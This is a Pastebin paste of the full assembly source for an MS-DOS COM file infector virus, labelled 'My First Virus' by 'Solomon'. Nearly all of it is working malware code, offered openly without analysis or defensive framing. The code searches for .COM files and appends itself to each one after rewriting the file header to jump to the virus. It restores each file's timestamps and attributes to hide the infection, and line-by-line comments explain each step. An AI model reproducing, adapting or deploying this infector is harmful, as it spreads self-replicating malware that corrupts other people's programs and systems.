Advertisement
FlyFar

Virus.MSDOS.Unknown.203 - Non-overwriting COM Infector - Source Code

May 16th, 2024
576
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 8.30 KB | Cybersecurity | 0 0
  1.  
  2. ;******************************************************************
  3. ;*                                                                *
  4. ;*     My First Virus, a simple non-overwriting COM infector      *
  5. ;*                                                                *
  6. ;*                                  by, Solomon                   *
  7. ;*                                                                *
  8. ;******************************************************************
  9.  
  10.                   .model tiny                   ; Memory model
  11.                   .code                         ; Start Code
  12.                   org 100h                      ; Start of COM file
  13.  
  14. MAIN:             db 0e9h,00h,00h               ; Jmp START_VIRUS
  15.  
  16. START_VIRUS       proc near                     ; Real start of Virus
  17.                   call FIND_OFFSET
  18.  
  19. ; Calculate change in offset from host program.
  20.  
  21. FIND_OFFSET:      pop bp                        ; BP holds current IP
  22.                   sub bp, offset FIND_OFFSET    ; Calculate net change
  23.                                                 ; Change BP to start of
  24.                                                 ; virus code
  25.  
  26. ; Restore original bytes to the infected program.
  27.  
  28.                   lea si,[bp+ORIG_START]        ; Restore original 3 bytes
  29.                   mov di,100h                   ; to 100h, start of file
  30.                   push di                       ; Copy 3 bytes
  31.                   movsw
  32.                   movsb
  33.  
  34. ; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy
  35. ; original command line parameters.
  36.  
  37.                   lea dx,[bp+NEW_DTA]           ; Point to new DTA area
  38.                   call SET_DTA                  ; Go change it
  39.  
  40. ; DOS Findfirst / Findnext services
  41.  
  42.  
  43. FINDFIRST:        mov ah,4eh                    ; DOS find first service
  44.                   lea dx,[bp+COM_MASK]          ; Search for any COM file
  45.                   xor cx,cx                     ; Attribute mask
  46. FINDNEXT:         int 21h                       ; Call DOS to do it
  47.                   jc QUIT                       ; Quit if there are errors
  48.                                                 ; or no more files
  49.  
  50. ; Ok, if I am here, then I found a possible victim. Open the file and
  51. ; check it for previous infections.
  52.  
  53.                   mov ax,3d00h                  ; DOS Open file, read only
  54.                   lea dx,[bp+NEW_DTA+30]        ; Point to filename we found
  55.                   int 21h                       ; Call DOS to do it
  56.                   xchg ax,bx                    ; Put file handle in BX
  57.  
  58. ; Check file for previous infection by checking for our presence at
  59. ; then end of the file.
  60.  
  61.                   mov ah,3fh                    ; DOS Read file
  62.                   lea dx,[bp+ORIG_START]        ; Save the original header
  63.                   mov cx,3                      ; Read 3 bytes
  64.                   int 21h                       ; Call DOS to do it
  65.                   mov ax,word ptr [bp+NEW_DTA+26]   ; Put filename in AX
  66.                   mov cx,word ptr [bp+ORIG_START+1] ; Jmp offset
  67.                   add cx,END_VIRUS-START_VIRUS+3; Convert to filesize
  68.                   cmp ax,cx                     ; Compare file size's
  69.                   jnz INFECT_COM                ; If healthy, go infect it
  70.                   mov ah,3eh                    ; Otherwise close file and
  71.                   int 21h                       ; try to find another victim
  72.                   mov ah,4fh                    ; DOS find next file
  73.                   jmp short FINDNEXT            ; Find another file
  74.  
  75. ; Restore default DTA and pass control back to original program.
  76. ; Call any activation routines here.
  77.  
  78. QUIT:             mov dx,80h                    ; Restore original DTA
  79.                   call SET_DTA                  ; Go change it
  80.                   retn                          ; End Virus and start original
  81.                                                 ; Program. Remember, DI holding
  82.                                                 ; 100h was pushed on the stack.
  83.  
  84. ;*** Subroutine INFECT_COM ***
  85.  
  86. INFECT_COM:
  87.  
  88. ; Reset the file attributes to normal so I can write to the file
  89.  
  90.                   mov ax,4301h                  ; DOS change file attr
  91.                   xor cx,cx                     ; Zero attributes
  92.                   lea dx,[bp+NEW_DTA+30]        ; Point to filename in DTA
  93.                   int 21h                       ; Call DOS to do it
  94.  
  95. ; Calculate jump offset for header of victim so it will run virus first.
  96.  
  97.                   mov ax,word ptr [bp+NEW_DTA+26] ; Put filesize in AX
  98.                   sub ax,3                      ; Subtract 3, size-jmp_code
  99.                   mov word ptr [bp+JMP_OFFSET],ax ; Store new offset
  100.  
  101. ; Close the file and reopen it for read/write. BX still holds file handle.
  102.  
  103.                   mov ah,3eh                    ; DOS close file
  104.                   int 21h                       ; Call DOS to do it
  105.                   mov ax,3d02h                  ; DOS open file, read/write
  106.                   int 21h                       ; Call DOS to do it
  107.                   xchg ax,bx                    ; Put file handle in BX
  108.  
  109. ; Write the new header at the beginning of the file.
  110.  
  111.                   mov ah,40h                    ; DOS write to file
  112.                   mov cx,3                      ; Write 3 bytes
  113.                   lea dx,[bp+HEADER]            ; Point to the 3 bytes to write
  114.                   int 21h                       ; Call DOS to do it
  115.  
  116. ; Move to end of file so I can append the virus to it.
  117.  
  118.                   mov al,2                      ; Select end of file
  119.                   call FILE_PTR                 ; Go to end of file
  120.  
  121. ; Append the virus to the end of the file.
  122.  
  123.                   mov ah,40h                    ; DOS write to file
  124.                   mov cx,END_VIRUS-START_VIRUS  ; Length of virus
  125.                   lea dx,[bp+START_VIRUS]       ; Start from beginning of virus
  126.                   int 21h                       ; Call DOS to do it
  127.  
  128. ; Restore the file's original timestamp and datestamp.  These values were
  129. ; stored in the DTA by the Findfirst / Findnext services.
  130.  
  131.                   mov ax,5701h                  ; DOS set file date & time
  132.                   mov cx,word ptr [bp+NEW_DTA+22] ; Set time
  133.                   mov dx,word ptr [bp+NEW_DTA+24] ; Set date
  134.                   int 21h                       ; Call DOS to do it
  135.  
  136. ; Restore original file attributes.
  137.  
  138.                   mov ax,4301h                  ; DOS change file attr
  139.                   mov cx,word ptr [bp+NEW_DTA+21] ; Get original file attr
  140.                   lea dx,[bp+NEW_DTA+30]        ; Point to file name
  141.                   int 21h                       ; Call DOS
  142.  
  143. ; Lastly, close the file and go back to main program.
  144.  
  145.                   mov ah,3eh                    ; DOS close file
  146.                   int 21h                       ; Call DOS to do it
  147.                   jmp QUIT                      ; We're done
  148.  
  149. ;*** Subroutine SET_DTA ***
  150.  
  151. SET_DTA           proc near
  152.                   mov ah,1ah                    ; DOS set DTA
  153.                   int 21h                       ; Call DOS to do it
  154.                   retn                          ; Return
  155. SET_DTA           endp
  156.  
  157.  
  158. ;*** Subroutine FILE_PTR ***
  159.  
  160.  
  161. FILE_PTR          proc near
  162.                   mov ah,42h                    ; DOS set read/write pointer
  163.                   xor cx,cx                     ; Set offset move to zero
  164.                   cwd                           ; Equivalent to xor dx,dx
  165.                   int 21h                       ; Call DOS to do it
  166.                   retn                          ; Return
  167. FILE_PTR          endp
  168.  
  169.  
  170.  
  171. ; This area will hold all variables to be encrypted
  172.  
  173. COM_MASK          db '*.com',0                  ; COM file mask
  174.  
  175. ORIG_START        db 0cdh,20h,0                 ; Header for infected file
  176.  
  177. HEADER            db 0e9h                       ; Jmp command for new header
  178.  
  179. START_VIRUS       endp
  180.  
  181. END_VIRUS         equ $                         ; Mark end of virus code
  182.  
  183. ; This data area is a scratch area and is not included in virus code.
  184.  
  185. JMP_OFFSET        dw ?                          ; Jump offset for new header
  186. NEW_DTA           db 43 dup(?)                  ; New DTA location
  187.  
  188.                   end MAIN
  189.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement